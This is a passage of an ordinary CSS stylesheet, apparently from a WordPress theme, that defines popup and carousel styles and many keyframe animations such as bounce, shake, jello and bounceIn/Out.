.mfp-ani-wrap.mfp-removing .mfp-with-anim.move-to-bottom {
	transform: translateY(100px)
}
.mfp-ani-wrap .mfp-with-anim.move-to-left {
	transform: translateX(100px)
}
.mfp-ani-wrap.mfp-removing .mfp-with-anim.move-to-left {
	transform: translateX(-100px)
}
.mfp-ani-wrap .mfp-with-anim.move-to-right {
	transform: translateX(-100px)
}
.mfp-ani-wrap.mfp-removing .mfp-with-anim.move-to-right {
	transform: translateX(100px)
}
.mfp-ani-wrap .mfp-with-anim.zoomin {
	transform: scale(.8)
}
.mfp-ani-wrap.mfp-removing .mfp-with-anim.zoomin {
	transform: scale(1)
}
.mfp-ani-wrap.mfp-ready .mfp-with-anim,
.mfp-ani-wrap.mfp-ready .mfp-with-anim .summary-inner {
	opacity: 1;
	transform: none
}
.mfp-ani-wrap.mfp-removing .mfp-with-anim {
	opacity: 0
}
.mfp-ani-wrap.mfp-removing.mfp-bg {
	opacity: 0
}
.mfp-ani-wrap .bottom-left,
.mfp-ani-wrap .middle-left,
.mfp-ani-wrap .top-left {
	margin-left: 0
}
.mfp-ani-wrap.bottom-left .mfp-container,
.mfp-ani-wrap.middle-left .mfp-container,
.mfp-ani-wrap.top-left .mfp-container {
	margin-left: 0;
	padding-left: 0
}
.mfp-ani-wrap .bottom-right,
.mfp-ani-wrap .middle-right,
.mfp-ani-wrap .top-right {
	margin-right: 0
}
.mfp-ani-wrap.bottom-right .mfp-container,
.mfp-ani-wrap.middle-right .mfp-container,
.mfp-ani-wrap.top-right .mfp-container {
	margin-right: 0;
	padding-right: 0
}
.mfp-ani-wrap.bottom-center .mfp-container,
.mfp-ani-wrap.bottom-left .mfp-container,
.mfp-ani-wrap.bottom-right .mfp-container,
.mfp-ani-wrap.top-center .mfp-container,
.mfp-ani-wrap.top-left .mfp-container,
.mfp-ani-wrap.top-right .mfp-container {
	height: unset
}
.mfp-ani-wrap.top-center .mfp-container,
.mfp-ani-wrap.top-left .mfp-container,
.mfp-ani-wrap.top-right .mfp-container {
	top: 0;
	left: 0
}
.mfp-ani-wrap.bottom-center .mfp-container,
.mfp-ani-wrap.bottom-left .mfp-container,
.mfp-ani-wrap.bottom-right .mfp-container {
	top: auto;
	bottom: 0
}
.penci-owl-carousel .animated {
	-webkit-animation-duration: 1s;
	animation-duration: 1s;
	-webkit-animation-fill-mode: both;
	animation-fill-mode: both
}
.penci-owl-carousel .owl-animated-in {
	z-index: 0
}
.penci-owl-carousel .owl-animated-out {
	z-index: 1
}
.penci-owl-carousel .fadeOut {
	-webkit-animation-name: fadeOut;
	animation-name: fadeOut
}
@-webkit-keyframes fadeOut {
	0% {
		opacity: 1
	}
	100% {
		opacity: 0
	}
}
@keyframes fadeOut {
	0% {
		opacity: 1
	}
	100% {
		opacity: 0
	}
}
.owl-height {
	-webkit-transition: height .5s ease-in-out;
	-moz-transition: height .5s ease-in-out;
	-ms-transition: height .5s ease-in-out;
	-o-transition: height .5s ease-in-out;
	transition: height .5s ease-in-out
}
.penci-owl-carousel {
	display: block;
	width: 100%;
	-webkit-tap-highlight-color: transparent;
	position: relative;
	z-index: 1;
	--pcfs-delay: 0.5s
}
.penci-owl-carousel .penci-owl-dot,
.penci-owl-carousel .penci-owl-nav .owl-next,
.penci-owl-carousel .penci-owl-nav .owl-prev {
	cursor: pointer;
	cursor: hand;
	-webkit-user-select: none;
	-khtml-user-select: none;
	-moz-user-select: none;
	-ms-user-select: none;
	user-select: none
}
.penci-owl-carousel.penci-owl-loaded {
	display: block
}
.penci-owl-carousel.owl-loading {
	opacity: 0;
	display: block
}
.penci-owl-carousel.owl-hidden {
	opacity: 0
}
.penci-owl-carousel .owl-refresh .owl-item {
	display: none
}
.penci-owl-carousel.owl-rtl {
	direction: rtl
}
.penci-owl-carousel.owl-rtl .owl-item {
	float: right
}
.animated {
	-webkit-animation-duration: 1s;
	animation-duration: 1s;
	-webkit-animation-fill-mode: both;
	animation-fill-mode: both
}
.animated.infinite {
	-webkit-animation-iteration-count: infinite;
	animation-iteration-count: infinite
}
.animated.hinge {
	-webkit-animation-duration: 2s;
	animation-duration: 2s
}
.animated.bounceIn,
.animated.bounceOut,
.animated.flipOutX,
.animated.flipOutY {
	-webkit-animation-duration: .75s;
	animation-duration: .75s
}
@-webkit-keyframes bounce {
	20%,
	53%,
	80%,
	from,
	to {
		-webkit-animation-timing-function: cubic-bezier(.215, .61, .355, 1);
		animation-timing-function: cubic-bezier(.215, .61, .355, 1);
		-webkit-transform: translate3d(0, 0, 0);
		transform: translate3d(0, 0, 0)
	}
	40%,
	43% {
		-webkit-animation-timing-function: cubic-bezier(.755, .05, .855, .06);
		animation-timing-function: cubic-bezier(.755, .05, .855, .06);
		-webkit-transform: translate3d(0, -30px, 0);
		transform: translate3d(0, -30px, 0)
	}
	70% {
		-webkit-animation-timing-function: cubic-bezier(.755, .05, .855, .06);
		animation-timing-function: cubic-bezier(.755, .05, .855, .06);
		-webkit-transform: translate3d(0, -15px, 0);
		transform: translate3d(0, -15px, 0)
	}
	90% {
		-webkit-transform: translate3d(0, -4px, 0);
		transform: translate3d(0, -4px, 0)
	}
}
@keyframes bounce {
	20%,
	53%,
	80%,
	from,
	to {
		-webkit-animation-timing-function: cubic-bezier(.215, .61, .355, 1);
		animation-timing-function: cubic-bezier(.215, .61, .355, 1);
		-webkit-transform: translate3d(0, 0, 0);
		transform: translate3d(0, 0, 0)
	}
	40%,
	43% {
		-webkit-animation-timing-function: cubic-bezier(.755, .05, .855, .06);
		animation-timing-function: cubic-bezier(.755, .05, .855, .06);
		-webkit-transform: translate3d(0, -30px, 0);
		transform: translate3d(0, -30px, 0)
	}
	70% {
		-webkit-animation-timing-function: cubic-bezier(.755, .05, .855, .06);
		animation-timing-function: cubic-bezier(.755, .05, .855, .06);
		-webkit-transform: translate3d(0, -15px, 0);
		transform: translate3d(0, -15px, 0)
	}
	90% {
		-webkit-transform: translate3d(0, -4px, 0);
		transform: translate3d(0, -4px, 0)
	}
}
.bounce {
	-webkit-animation-name: bounce;
	animation-name: bounce;
	-webkit-transform-origin: center bottom;
	transform-origin: center bottom
}
@-webkit-keyframes flash {
	50%,
	from,
	to {
		opacity: 1
	}
	25%,
	75% {
		opacity: 0
	}
}
@keyframes flash {
	50%,
	from,
	to {
		opacity: 1
	}
	25%,
	75% {
		opacity: 0
	}
}
.flash {
	-webkit-animation-name: flash;
	animation-name: flash
}
@-webkit-keyframes pulse {
	from {
		-webkit-transform: scale3d(1, 1, 1);
		transform: scale3d(1, 1, 1)
	}
	50% {
		-webkit-transform: scale3d(1.05, 1.05, 1.05);
		transform: scale3d(1.05, 1.05, 1.05)
	}
	to {
		-webkit-transform: scale3d(1, 1, 1);
		transform: scale3d(1, 1, 1)
	}
}
@keyframes pulse {
	from {
		-webkit-transform: scale3d(1, 1, 1);
		transform: scale3d(1, 1, 1)
	}
	50% {
		-webkit-transform: scale3d(1.05, 1.05, 1.05);
		transform: scale3d(1.05, 1.05, 1.05)
	}
	to {
		-webkit-transform: scale3d(1, 1, 1);
		transform: scale3d(1, 1, 1)
	}
}
.pulse {
	-webkit-animation-name: pulse;
	animation-name: pulse
}
@-webkit-keyframes rubberBand {
	from {
		-webkit-transform: scale3d(1, 1, 1);
		transform: scale3d(1, 1, 1)
	}
	30% {
		-webkit-transform: scale3d(1.25, .75, 1);
		transform: scale3d(1.25, .75, 1)
	}
	40% {
		-webkit-transform: scale3d(.75, 1.25, 1);
		transform: scale3d(.75, 1.25, 1)
	}
	50% {
		-webkit-transform: scale3d(1.15, .85, 1);
		transform: scale3d(1.15, .85, 1)
	}
	65% {
		-webkit-transform: scale3d(.95, 1.05, 1);
		transform: scale3d(.95, 1.05, 1)
	}
	75% {
		-webkit-transform: scale3d(1.05, .95, 1);
		transform: scale3d(1.05, .95, 1)
	}
	to {
		-webkit-transform: scale3d(1, 1, 1);
		transform: scale3d(1, 1, 1)
	}
}
@keyframes rubberBand {
	from {
		-webkit-transform: scale3d(1, 1, 1);
		transform: scale3d(1, 1, 1)
	}
	30% {
		-webkit-transform: scale3d(1.25, .75, 1);
		transform: scale3d(1.25, .75, 1)
	}
	40% {
		-webkit-transform: scale3d(.75, 1.25, 1);
		transform: scale3d(.75, 1.25, 1)
	}
	50% {
		-webkit-transform: scale3d(1.15, .85, 1);
		transform: scale3d(1.15, .85, 1)
	}
	65% {
		-webkit-transform: scale3d(.95, 1.05, 1);
		transform: scale3d(.95, 1.05, 1)
	}
	75% {
		-webkit-transform: scale3d(1.05, .95, 1);
		transform: scale3d(1.05, .95, 1)
	}
	to {
		-webkit-transform: scale3d(1, 1, 1);
		transform: scale3d(1, 1, 1)
	}
}
.rubberBand {
	-webkit-animation-name: rubberBand;
	animation-name: rubberBand
}
@-webkit-keyframes shake {
	from,
	to {
		-webkit-transform: translate3d(0, 0, 0);
		transform: translate3d(0, 0, 0)
	}
	10%,
	30%,
	50%,
	70%,
	90% {
		-webkit-transform: translate3d(-10px, 0, 0);
		transform: translate3d(-10px, 0, 0)
	}
	20%,
	40%,
	60%,
	80% {
		-webkit-transform: translate3d(10px, 0, 0);
		transform: translate3d(10px, 0, 0)
	}
}
@keyframes shake {
	from,
	to {
		-webkit-transform: translate3d(0, 0, 0);
		transform: translate3d(0, 0, 0)
	}
	10%,
	30%,
	50%,
	70%,
	90% {
		-webkit-transform: translate3d(-10px, 0, 0);
		transform: translate3d(-10px, 0, 0)
	}
	20%,
	40%,
	60%,
	80% {
		-webkit-transform: translate3d(10px, 0, 0);
		transform: translate3d(10px, 0, 0)
	}
}
.shake {
	-webkit-animation-name: shake;
	animation-name: shake
}
@-webkit-keyframes headShake {
	0% {
		-webkit-transform: translateX(0);
		transform: translateX(0)
	}
	6.5% {
		-webkit-transform: translateX(-6px) rotateY(-9deg);
		transform: translateX(-6px) rotateY(-9deg)
	}
	18.5% {
		-webkit-transform: translateX(5px) rotateY(7deg);
		transform: translateX(5px) rotateY(7deg)
	}
	31.5% {
		-webkit-transform: translateX(-3px) rotateY(-5deg);
		transform: translateX(-3px) rotateY(-5deg)
	}
	43.5% {
		-webkit-transform: translateX(2px) rotateY(3deg);
		transform: translateX(2px) rotateY(3deg)
	}
	50% {
		-webkit-transform: translateX(0);
		transform: translateX(0)
	}
}
@keyframes headShake {
	0% {
		-webkit-transform: translateX(0);
		transform: translateX(0)
	}
	6.5% {
		-webkit-transform: translateX(-6px) rotateY(-9deg);
		transform: translateX(-6px) rotateY(-9deg)
	}
	18.5% {
		-webkit-transform: translateX(5px) rotateY(7deg);
		transform: translateX(5px) rotateY(7deg)
	}
	31.5% {
		-webkit-transform: translateX(-3px) rotateY(-5deg);
		transform: translateX(-3px) rotateY(-5deg)
	}
	43.5% {
		-webkit-transform: translateX(2px) rotateY(3deg);
		transform: translateX(2px) rotateY(3deg)
	}
	50% {
		-webkit-transform: translateX(0);
		transform: translateX(0)
	}
}
.headShake {
	-webkit-animation-timing-function: ease-in-out;
	animation-timing-function: ease-in-out;
	-webkit-animation-name: headShake;
	animation-name: headShake
}
@-webkit-keyframes swing {
	20% {
		-webkit-transform: rotate3d(0, 0, 1, 15deg);
		transform: rotate3d(0, 0, 1, 15deg)
	}
	40% {
		-webkit-transform: rotate3d(0, 0, 1, -10deg);
		transform: rotate3d(0, 0, 1, -10deg)
	}
	60% {
		-webkit-transform: rotate3d(0, 0, 1, 5deg);
		transform: rotate3d(0, 0, 1, 5deg)
	}
	80% {
		-webkit-transform: rotate3d(0, 0, 1, -5deg);
		transform: rotate3d(0, 0, 1, -5deg)
	}
	to {
		-webkit-transform: rotate3d(0, 0, 1, 0deg);
		transform: rotate3d(0, 0, 1, 0deg)
	}
}
@keyframes swing {
	20% {
		-webkit-transform: rotate3d(0, 0, 1, 15deg);
		transform: rotate3d(0, 0, 1, 15deg)
	}
	40% {
		-webkit-transform: rotate3d(0, 0, 1, -10deg);
		transform: rotate3d(0, 0, 1, -10deg)
	}
	60% {
		-webkit-transform: rotate3d(0, 0, 1, 5deg);
		transform: rotate3d(0, 0, 1, 5deg)
	}
	80% {
		-webkit-transform: rotate3d(0, 0, 1, -5deg);
		transform: rotate3d(0, 0, 1, -5deg)
	}
	to {
		-webkit-transform: rotate3d(0, 0, 1, 0deg);
		transform: rotate3d(0, 0, 1, 0deg)
	}
}
.swing {
	-webkit-transform-origin: top center;
	transform-origin: top center;
	-webkit-animation-name: swing;
	animation-name: swing
}
@-webkit-keyframes tada {
	from {
		-webkit-transform: scale3d(1, 1, 1);
		transform: scale3d(1, 1, 1)
	}
	10%,
	20% {
		-webkit-transform: scale3d(.9, .9, .9) rotate3d(0, 0, 1, -3deg);
		transform: scale3d(.9, .9, .9) rotate3d(0, 0, 1, -3deg)
	}
	30%,
	50%,
	70%,
	90% {
		-webkit-transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, 3deg);
		transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, 3deg)
	}
	40%,
	60%,
	80% {
		-webkit-transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, -3deg);
		transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, -3deg)
	}
	to {
		-webkit-transform: scale3d(1, 1, 1);
		transform: scale3d(1, 1, 1)
	}
}
@keyframes tada {
	from {
		-webkit-transform: scale3d(1, 1, 1);
		transform: scale3d(1, 1, 1)
	}
	10%,
	20% {
		-webkit-transform: scale3d(.9, .9, .9) rotate3d(0, 0, 1, -3deg);
		transform: scale3d(.9, .9, .9) rotate3d(0, 0, 1, -3deg)
	}
	30%,
	50%,
	70%,
	90% {
		-webkit-transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, 3deg);
		transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, 3deg)
	}
	40%,
	60%,
	80% {
		-webkit-transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, -3deg);
		transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, -3deg)
	}
	to {
		-webkit-transform: scale3d(1, 1, 1);
		transform: scale3d(1, 1, 1)
	}
}
.tada {
	-webkit-animation-name: tada;
	animation-name: tada
}
@-webkit-keyframes wobble {
	from {
		-webkit-transform: none;
		transform: none
	}
	15% {
		-webkit-transform: translate3d(-25%, 0, 0) rotate3d(0, 0, 1, -5deg);
		transform: translate3d(-25%, 0, 0) rotate3d(0, 0, 1, -5deg)
	}
	30% {
		-webkit-transform: translate3d(20%, 0, 0) rotate3d(0, 0, 1, 3deg);
		transform: translate3d(20%, 0, 0) rotate3d(0, 0, 1, 3deg)
	}
	45% {
		-webkit-transform: translate3d(-15%, 0, 0) rotate3d(0, 0, 1, -3deg);
		transform: translate3d(-15%, 0, 0) rotate3d(0, 0, 1, -3deg)
	}
	60% {
		-webkit-transform: translate3d(10%, 0, 0) rotate3d(0, 0, 1, 2deg);
		transform: translate3d(10%, 0, 0) rotate3d(0, 0, 1, 2deg)
	}
	75% {
		-webkit-transform: translate3d(-5%, 0, 0) rotate3d(0, 0, 1, -1deg);
		transform: translate3d(-5%, 0, 0) rotate3d(0, 0, 1, -1deg)
	}
	to {
		-webkit-transform: none;
		transform: none
	}
}
@keyframes wobble {
	from {
		-webkit-transform: none;
		transform: none
	}
	15% {
		-webkit-transform: translate3d(-25%, 0, 0) rotate3d(0, 0, 1, -5deg);
		transform: translate3d(-25%, 0, 0) rotate3d(0, 0, 1, -5deg)
	}
	30% {
		-webkit-transform: translate3d(20%, 0, 0) rotate3d(0, 0, 1, 3deg);
		transform: translate3d(20%, 0, 0) rotate3d(0, 0, 1, 3deg)
	}
	45% {
		-webkit-transform: translate3d(-15%, 0, 0) rotate3d(0, 0, 1, -3deg);
		transform: translate3d(-15%, 0, 0) rotate3d(0, 0, 1, -3deg)
	}
	60% {
		-webkit-transform: translate3d(10%, 0, 0) rotate3d(0, 0, 1, 2deg);
		transform: translate3d(10%, 0, 0) rotate3d(0, 0, 1, 2deg)
	}
	75% {
		-webkit-transform: translate3d(-5%, 0, 0) rotate3d(0, 0, 1, -1deg);
		transform: translate3d(-5%, 0, 0) rotate3d(0, 0, 1, -1deg)
	}
	to {
		-webkit-transform: none;
		transform: none
	}
}
.wobble {
	-webkit-animation-name: wobble;
	animation-name: wobble
}
@-webkit-keyframes jello {
	11.1%,
	from,
	to {
		-webkit-transform: none;
		transform: none
	}
	22.2% {
		-webkit-transform: skewX(-12.5deg) skewY(-12.5deg);
		transform: skewX(-12.5deg) skewY(-12.5deg)
	}
	33.3% {
		-webkit-transform: skewX(6.25deg) skewY(6.25deg);
		transform: skewX(6.25deg) skewY(6.25deg)
	}
	44.4% {
		-webkit-transform: skewX(-3.125deg) skewY(-3.125deg);
		transform: skewX(-3.125deg) skewY(-3.125deg)
	}
	55.5% {
		-webkit-transform: skewX(1.5625deg) skewY(1.5625deg);
		transform: skewX(1.5625deg) skewY(1.5625deg)
	}
	66.6% {
		-webkit-transform: skewX(-.78125deg) skewY(-.78125deg);
		transform: skewX(-.78125deg) skewY(-.78125deg)
	}
	77.7% {
		-webkit-transform: skewX(.390625deg) skewY(.390625deg);
		transform: skewX(.390625deg) skewY(.390625deg)
	}
	88.8% {
		-webkit-transform: skewX(-.1953125deg) skewY(-.1953125deg);
		transform: skewX(-.1953125deg) skewY(-.1953125deg)
	}
}
@keyframes jello {
	11.1%,
	from,
	to {
		-webkit-transform: none;
		transform: none
	}
	22.2% {
		-webkit-transform: skewX(-12.5deg) skewY(-12.5deg);
		transform: skewX(-12.5deg) skewY(-12.5deg)
	}
	33.3% {
		-webkit-transform: skewX(6.25deg) skewY(6.25deg);
		transform: skewX(6.25deg) skewY(6.25deg)
	}
	44.4% {
		-webkit-transform: skewX(-3.125deg) skewY(-3.125deg);
		transform: skewX(-3.125deg) skewY(-3.125deg)
	}
	55.5% {
		-webkit-transform: skewX(1.5625deg) skewY(1.5625deg);
		transform: skewX(1.5625deg) skewY(1.5625deg)
	}
	66.6% {
		-webkit-transform: skewX(-.78125deg) skewY(-.78125deg);
		transform: skewX(-.78125deg) skewY(-.78125deg)
	}
	77.7% {
		-webkit-transform: skewX(.390625deg) skewY(.390625deg);
		transform: skewX(.390625deg) skewY(.390625deg)
	}
	88.8% {
		-webkit-transform: skewX(-.1953125deg) skewY(-.1953125deg);
		transform: skewX(-.1953125deg) skewY(-.1953125deg)
	}
}
.jello {
	-webkit-animation-name: jello;
	animation-name: jello;
	-webkit-transform-origin: center;
	transform-origin: center
}
@-webkit-keyframes bounceIn {
	20%,
	40%,
	60%,
	80%,
	from,
	to {
		-webkit-animation-timing-function: cubic-bezier(.215, .61, .355, 1);
		animation-timing-function: cubic-bezier(.215, .61, .355, 1)
	}
	0% {
		opacity: 0;
		-webkit-transform: scale3d(.3, .3, .3);
		transform: scale3d(.3, .3, .3)
	}
	20% {
		-webkit-transform: scale3d(1.1, 1.1, 1.1);
		transform: scale3d(1.1, 1.1, 1.1)
	}
	40% {
		-webkit-transform: scale3d(.9, .9, .9);
		transform: scale3d(.9, .9, .9)
	}
	60% {
		opacity: 1;
		-webkit-transform: scale3d(1.03, 1.03, 1.03);
		transform: scale3d(1.03, 1.03, 1.03)
	}
	80% {
		-webkit-transform: scale3d(.97, .97, .97);
		transform: scale3d(.97, .97, .97)
	}
	to {
		opacity: 1;
		-webkit-transform: scale3d(1, 1, 1);
		transform: scale3d(1, 1, 1)
	}
}
@keyframes bounceIn {
	20%,
	40%,
	60%,
	80%,
	from,
	to {
		-webkit-animation-timing-function: cubic-bezier(.215, .61, .355, 1);
		animation-timing-function: cubic-bezier(.215, .61, .355, 1)
	}
	0% {
		opacity: 0;
		-webkit-transform: scale3d(.3, .3, .3);
		transform: scale3d(.3, .3, .3)
	}
	20% {
		-webkit-transform: scale3d(1.1, 1.1, 1.1);
		transform: scale3d(1.1, 1.1, 1.1)
	}
	40% {
		-webkit-transform: scale3d(.9, .9, .9);
		transform: scale3d(.9, .9, .9)
	}
	60% {
		opacity: 1;
		-webkit-transform: scale3d(1.03, 1.03, 1.03);
		transform: scale3d(1.03, 1.03, 1.03)
	}
	80% {
		-webkit-transform: scale3d(.97, .97, .97);
		transform: scale3d(.97, .97, .97)
	}
	to {
		opacity: 1;
		-webkit-transform: scale3d(1, 1, 1);
		transform: scale3d(1, 1, 1)
	}
}
.bounceIn {
	-webkit-animation-name: bounceIn;
	animation-name: bounceIn
}
@-webkit-keyframes bounceInDown {
	60%,
	75%,
	90%,
	from,
	to {
		-webkit-animation-timing-function: cubic-bezier(.215, .61, .355, 1);
		animation-timing-function: cubic-bezier(.215, .61, .355, 1)
	}
	0% {
		opacity: 0;
		-webkit-transform: translate3d(0, -3000px, 0);
		transform: translate3d(0, -3000px, 0)
	}
	60% {
		opacity: 1;
		-webkit-transform: translate3d(0, 25px, 0);
		transform: translate3d(0, 25px, 0)
	}
	75% {
		-webkit-transform: translate3d(0, -10px, 0);
		transform: translate3d(0, -10px, 0)
	}
	90% {
		-webkit-transform: translate3d(0, 5px, 0);
		transform: translate3d(0, 5px, 0)
	}
	to {
		-webkit-transform: none;
		transform: none
	}
}
@keyframes bounceInDown {
	60%,
	75%,
	90%,
	from,
	to {
		-webkit-animation-timing-function: cubic-bezier(.215, .61, .355, 1);
		animation-timing-function: cubic-bezier(.215, .61, .355, 1)
	}
	0% {
		opacity: 0;
		-webkit-transform: translate3d(0, -3000px, 0);
		transform: translate3d(0, -3000px, 0)
	}
	60% {
		opacity: 1;
		-webkit-transform: translate3d(0, 25px, 0);
		transform: translate3d(0, 25px, 0)
	}
	75% {
		-webkit-transform: translate3d(0, -10px, 0);
		transform: translate3d(0, -10px, 0)
	}
	90% {
		-webkit-transform: translate3d(0, 5px, 0);
		transform: translate3d(0, 5px, 0)
	}
	to {
		-webkit-transform: none;
		transform: none
	}
}
.bounceInDown {
	-webkit-animation-name: bounceInDown;
	animation-name: bounceInDown
}
@-webkit-keyframes bounceInLeft {
	60%,
	75%,
	90%,
	from,
	to {
		-webkit-animation-timing-function: cubic-bezier(.215, .61, .355, 1);
		animation-timing-function: cubic-bezier(.215, .61, .355, 1)
	}
	0% {
		opacity: 0;
		-webkit-transform: translate3d(-3000px, 0, 0);
		transform: translate3d(-3000px, 0, 0)
	}
	60% {
		opacity: 1;
		-webkit-transform: translate3d(25px, 0, 0);
		transform: translate3d(25px, 0, 0)
	}
	75% {
		-webkit-transform: translate3d(-10px, 0, 0);
		transform: translate3d(-10px, 0, 0)
	}
	90% {
		-webkit-transform: translate3d(5px, 0, 0);
		transform: translate3d(5px, 0, 0)
	}
	to {
		-webkit-transform: none;
		transform: none
	}
}
@keyframes bounceInLeft {
	60%,
	75%,
	90%,
	from,
	to {
		-webkit-animation-timing-function: cubic-bezier(.215, .61, .355, 1);
		animation-timing-function: cubic-bezier(.215, .61, .355, 1)
	}
	0% {
		opacity: 0;
		-webkit-transform: translate3d(-3000px, 0, 0);
		transform: translate3d(-3000px, 0, 0)
	}
	60% {
		opacity: 1;
		-webkit-transform: translate3d(25px, 0, 0);
		transform: translate3d(25px, 0, 0)
	}
	75% {
		-webkit-transform: translate3d(-10px, 0, 0);
		transform: translate3d(-10px, 0, 0)
	}
	90% {
		-webkit-transform: translate3d(5px, 0, 0);
		transform: translate3d(5px, 0, 0)
	}
	to {
		-webkit-transform: none;
		transform: none
	}
}
.bounceInLeft {
	-webkit-animation-name: bounceInLeft;
	animation-name: bounceInLeft
}
@-webkit-keyframes bounceInRight {
	60%,
	75%,
	90%,
	from,
	to {
		-webkit-animation-timing-function: cubic-bezier(.215, .61, .355, 1);
		animation-timing-function: cubic-bezier(.215, .61, .355, 1)
	}
	from {
		opacity: 0;
		-webkit-transform: translate3d(3000px, 0, 0);
		transform: translate3d(3000px, 0, 0)
	}
	60% {
		opacity: 1;
		-webkit-transform: translate3d(-25px, 0, 0);
		transform: translate3d(-25px, 0, 0)
	}
	75% {
		-webkit-transform: translate3d(10px, 0, 0);
		transform: translate3d(10px, 0, 0)
	}
	90% {
		-webkit-transform: translate3d(-5px, 0, 0);
		transform: translate3d(-5px, 0, 0)
	}
	to {
		-webkit-transform: none;
		transform: none
	}
}
@keyframes bounceInRight {
	60%,
	75%,
	90%,
	from,
	to {
		-webkit-animation-timing-function: cubic-bezier(.215, .61, .355, 1);
		animation-timing-function: cubic-bezier(.215, .61, .355, 1)
	}
	from {
		opacity: 0;
		-webkit-transform: translate3d(3000px, 0, 0);
		transform: translate3d(3000px, 0, 0)
	}
	60% {
		opacity: 1;
		-webkit-transform: translate3d(-25px, 0, 0);
		transform: translate3d(-25px, 0, 0)
	}
	75% {
		-webkit-transform: translate3d(10px, 0, 0);
		transform: translate3d(10px, 0, 0)
	}
	90% {
		-webkit-transform: translate3d(-5px, 0, 0);
		transform: translate3d(-5px, 0, 0)
	}
	to {
		-webkit-transform: none;
		transform: none
	}
}
.bounceInRight {
	-webkit-animation-name: bounceInRight;
	animation-name: bounceInRight
}
@-webkit-keyframes bounceInUp {
	60%,
	75%,
	90%,
	from,
	to {
		-webkit-animation-timing-function: cubic-bezier(.215, .61, .355, 1);
		animation-timing-function: cubic-bezier(.215, .61, .355, 1)
	}
	from {
		opacity: 0;
		-webkit-transform: translate3d(0, 3000px, 0);
		transform: translate3d(0, 3000px, 0)
	}
	60% {
		opacity: 1;
		-webkit-transform: translate3d(0, -20px, 0);
		transform: translate3d(0, -20px, 0)
	}
	75% {
		-webkit-transform: translate3d(0, 10px, 0);
		transform: translate3d(0, 10px, 0)
	}
	90% {
		-webkit-transform: translate3d(0, -5px, 0);
		transform: translate3d(0, -5px, 0)
	}
	to {
		-webkit-transform: translate3d(0, 0, 0);
		transform: translate3d(0, 0, 0)
	}
}
@keyframes bounceInUp {
	60%,
	75%,
	90%,
	from,
	to {
		-webkit-animation-timing-function: cubic-bezier(.215, .61, .355, 1);
		animation-timing-function: cubic-bezier(.215, .61, .355, 1)
	}
	from {
		opacity: 0;
		-webkit-transform: translate3d(0, 3000px, 0);
		transform: translate3d(0, 3000px, 0)
	}
	60% {
		opacity: 1;
		-webkit-transform: translate3d(0, -20px, 0);
		transform: translate3d(0, -20px, 0)
	}
	75% {
		-webkit-transform: translate3d(0, 10px, 0);
		transform: translate3d(0, 10px, 0)
	}
	90% {
		-webkit-transform: translate3d(0, -5px, 0);
		transform: translate3d(0, -5px, 0)
	}
	to {
		-webkit-transform: translate3d(0, 0, 0);
		transform: translate3d(0, 0, 0)
	}
}
.bounceInUp {
	-webkit-animation-name: bounceInUp;
	animation-name: bounceInUp
}
@-webkit-keyframes bounceOut {
	20% {
		-webkit-transform: scale3d(.9, .9, .9);
		transform: scale3d(.9, .9, .9)
	}
	50%,
	55% {
		opacity: 1;
		-webkit-transform: scale3d(1.1, 1.1, 1.1);
		transform: scale3d(1.1, 1.1, 1.1)
	}
	to {
		opacity: 0;
		-webkit-transform: scale3d(.3, .3, .3);
		transform: scale3d(.3, .3, .3)
	}
}
@keyframes bounceOut {
	20% {
		-webkit-transform: scale3d(.9, .9, .9);
		transform: scale3d(.9, .9, .9)
	}
	50%,
	55% {
		opacity: 1;
		-webkit-transform: scale3d(1.1, 1.1, 1.1);
		transform: scale3d(1.1, 1.1, 1.1)
	}
	to {
		opacity: 0;
		-webkit-transform: scale3d(.3, .3, .3);
		transform: scale3d(.3, .3, .3)
	}
}
.bounceOut {
	-webkit-animation-name: bounceOut;
	animation-name: bounceOut
}
@-webkit-keyframes bounceOutDown {
	20% {
		-webkit-transform: translate3d(0, 10px, 0);
		transform: translate3d(0, 10px, 0)
	}
	40%,
	45% {
		opacity: 1;
		-webkit-transform: translate3d(0, -20px, 0);
		transform: translate3d(0, -20px, 0)
	}
	to {
		opacity: 0;
		-webkit-transform: translate3d(0, 2000px, 0);
		transform: translate3d(0, 2000px, 0)
	}
}
@keyframes bounceOutDown {
	20% {
		-webkit-transform: translate3d(0, 10px, 0);
		transform: translate3d(0, 10px, 0)
	}
	40%,
	45% {
		opacity: 1;
		-webkit-transform: translate3d(0, -20px, 0);
		transform: translate3d(0, -20px, 0)
	}
	to {
		opacity: 0;
		-webkit-transform: translate3d(0, 2000px, 0);
		transform: translate3d(0, 2000px, 0)
	}
}
.bounceOutDown {
	-webkit-animation-name: bounceOutDown;
	animation-name: bounceOutDown
}
@-webkit-keyframes bounceOutLeft {
	20% {
		opacity: 1;
		-webkit-transform: translate3d(20px, 0, 0);
		transform: translate3d(20px, 0, 0)
	}
	to {
		opacity: 0;
		-webkit-transform: translate3d(-2000px, 0, 0);
		transform: translate3d(-2000px, 0, 0)
	}
}
@keyframes bounceOutLeft {
	20% {
		opacity: 1;
		-webkit-transform: translate3d(20px, 0, 0);
		transform: translate3d(20px, 0, 0)
	}
	to {
		opacity: 0;
		-webkit-transform: translate3d(-2000px, 0, 0);
		transform: translate3d(-2000px, 0, 0)
	}
}
.bounceOutLeft {
	-webkit-animation-name: bounceOutLeft;
	animation-name: bounceOutLeft
}
@-webkit-keyframes bounceOutRight {
	20% {
		opacity: 1;
		-webkit-transform: translate3d(-20px, 0, 0);
		transform: translate3d(-20px, 0, 0)
	}
	to {
		opacity: 0;
		-webkit-transform: translate3d(2000px, 0, 0);
		transform: translate3d(2000px, 0, 0)
	}
}
@keyframes bounceOutRight {
	20% {
		opacity: 1;
		-webkit-transform: translate3d(-20px, 0, 0);
		transform: translate3d(-20px, 0, 0)
	}
	to {
		opacity: 0;
		-webkit-transform: translate3d(2000px, 0, 0);
		transform: translate3d(2000px, 0, 0)
	}
}
.bounceOutRight {
	-webkit-animation-name: bounceOutRight;
	animation-name: bounceOutRight
}
@-webkit-keyframes bounceOutUp {
	20% {
		-webkit-transform: translate3d(0, -10px, 0);
		transform: translate3d(0, -10px, 0)
	}
	40%,
